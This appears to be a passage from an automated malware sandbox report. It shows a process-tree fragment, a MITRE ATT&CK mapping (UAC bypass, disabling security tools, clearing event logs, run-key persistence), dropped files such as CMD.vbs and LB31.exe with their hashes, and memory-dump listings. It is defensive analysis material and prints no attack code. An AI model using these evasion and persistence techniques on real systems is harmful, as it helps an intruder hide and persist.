\??\C:\Windows\system32\conhost.exe "1023051173146739254325588472352200844-1496774744-14437288121224247846263119403"
1⤵
PID:2084

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-410035441-1018883342-8824685751314294388295216285-1640786181-1427074815-901970902"
1⤵
PID:2416

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-497091244-9545217638141909811887255779-1679342481-457780748-1308030546-1120567084"
1⤵
PID:3028

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-8361324132043302237-1003581835-29305580917448850071248082489300867220-288399109"
1⤵
PID:3020

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "6019725522005972619670937324-27617462667290017817155526371375080430-225788482"
1⤵
PID:1572

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-12472066231538050732-2858974501421646566-281458830-2364565652041613213167332214"
1⤵
PID:1748

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2096073850-1586433695491250960373028899-1159041196109397124418499533631792811781"
1⤵
PID:2716

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1113635036-111208484612267171475469608061205858553-1743439475263058315-152023611"
1⤵
PID:788

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "606033159767851553-15407154281672805840-1427479312-719019308-375627363-1255523014"
1⤵
PID:868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tempScript.js

Filesize
2KB

MD5
82f229d0c36b68073da70ef5958e425d

SHA1
2beb8cd227b49b1d119165d6e3d258ddb730387a

SHA256
0f2579fdb9cbaaec15015df17dbaafd73a9d7d3202321aba6a1c8479cac17394

SHA512
4553f11b61e2c1cb1ebf532e7417380a8a5c19121331b76894bf5d3605a905fa3f62b54d596a818709f28c49fd7eb1d880798907a84cac45ccff65ee93f9e970

Download Submit
C:\Users\Admin\AppData\Roaming\CMD.vbs

Filesize
27KB

MD5
238ec4d17050e1841e8e0171407c2260

SHA1
2c8c14b257641f1e1151c6303dabde01621314f2

SHA256
163c4066da47b2e8b7d3690a374c79856417de2e09c74c0e7c807cd0b5c4b8fb

SHA512
3eaa1ebca8b9ad021342846040faf19c5ef420c319a9a649b31ffb9107b54d71f60f6e4372e0256f123b931f5c3dd11a34ad9c4ccb7d0a3c687a90ba50cd2102

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c5fe27e707b9c30f1fce30f6c6f6518d

SHA1
285c89298322e4e090aab27fcb4ab55ae33a4c1b

SHA256
4002566a6ad04a94fefe404275a354018461724d8bdd0d3b3abb745770fd1c6e

SHA512
5279c8a1a76d3be45d132015cd3ce3c9598fe80bfe791a7b272aead346db56b9e6be0db4fea732b05571fb67cdab84b8b6de380395de83d533576b64871ea971

Download Submit
\Users\Admin\AppData\Roaming\LB31.exe

Filesize
7.3MB

MD5
c9e6aa21979d5fc710f1f2e8226d9dfe

SHA1
d881f97a1fe03f43bed2a9609eae65531cf710cf

SHA256
a1a8cfcc74f8f96fd09115189defe07ac6fc2e85a9ff3b3ec9c6f454aede1c1d

SHA512
9e90bcb64b0e1f03e05990cdead076b4c6e0b050932ecb953dae50b7e92b823a80fc66d1fd8753591719e89b405757b2bf7518814bc6a19bb745124d1a691627

Download Submit
memory/420-63-0x0000000000180000-0x00000000001A4000-memory.dmp

Filesize
144KB

Download
memory/420-65-0x000007FEBFC50000-0x000007FEBFC60000-memory.dmp

Filesize
64KB

Download
memory/420-66-0x0000000037CB0000-0x0000000037CC0000-memory.dmp

Filesize
64KB

Download
memory/420-64-0x00000000001B0000-0x00000000001DB000-memory.dmp

Filesize
172KB

Download
memory/420-61-0x0000000000180000-0x00000000001A4000-memory.dmp

Filesize
144KB

Download
memory/468-666-0x000000013F380000-0x000000013FE7F000-memory.dmp

Filesize
11.0MB

Download
memory/468-363-0x000000013F380000-0x000000013FE7F000-memory.dmp

Filesize
11.0MB

Download
memory/468-71-0x00000000000A0000-0x00000000000CB000-memory.dmp

Filesize
172KB

Download
memory/476-75-0x00000000000E0000-0x000000000010B000-memory.dmp

Filesize
172KB

Download
memory/536-48-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/536-49-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/1924-483-0x000000013F380000-0x000000013FE7F000-memory.dmp

Filesize
11.0MB

Download
memory/1924-365-0x000000013F380000-0x000000013FE7F000-memory.dmp

Filesize
11.0MB

Download
memory/2216-17-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/2216-16-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2364-51-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2364-57-0x0000000077B50000-0x0000000077C6F000-memory.dmp

Filesize
1.1MB

Download
memory/2364-56-0x0000000077C70000-0x0000000077E19000-memory.dmp

Filesize
1.7MB

Download
memory/2364-58-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2364-55-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2364-50-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2364-53-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2364-52-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2500-333-0x000000013FDE0000-0x00000001408DF000-memory.dmp

Filesize
11.0MB

Download
memory/2500-42-0x000000013FDE0000-0x00000001408DF000-memory.dmp

Filesize
11.0MB

Download
memory/2740-2-0x0000000000450000-0x0000000000456000-memory.dmp

Filesize
24KB

Download
memory/2740-5-0x000007FEF6500000-0x000007FEF6EEC000-memory.dmp

Filesize
9.9MB

Download
memory/2740-10-0x000007FEF6500000-0x000007FEF6EEC000-memory.dmp

Filesize
9.9MB

Download
memory/2740-0-0x000007FEF6503000-0x000007FEF6504000-memory.dmp

Filesize
4KB

Download
memory/2740-1-0x00000000011D0000-0x00000000011E2000-memory.dmp

Filesize
72KB

Download
memory/2792-35-0x0000000002960000-0x000000000297A000-memory.dmp

Filesize
104KB

Download
memory/2992-41-0x000000013FDE0000-0x00000001408DF000-memory.dmp

Filesize
11.0MB

Download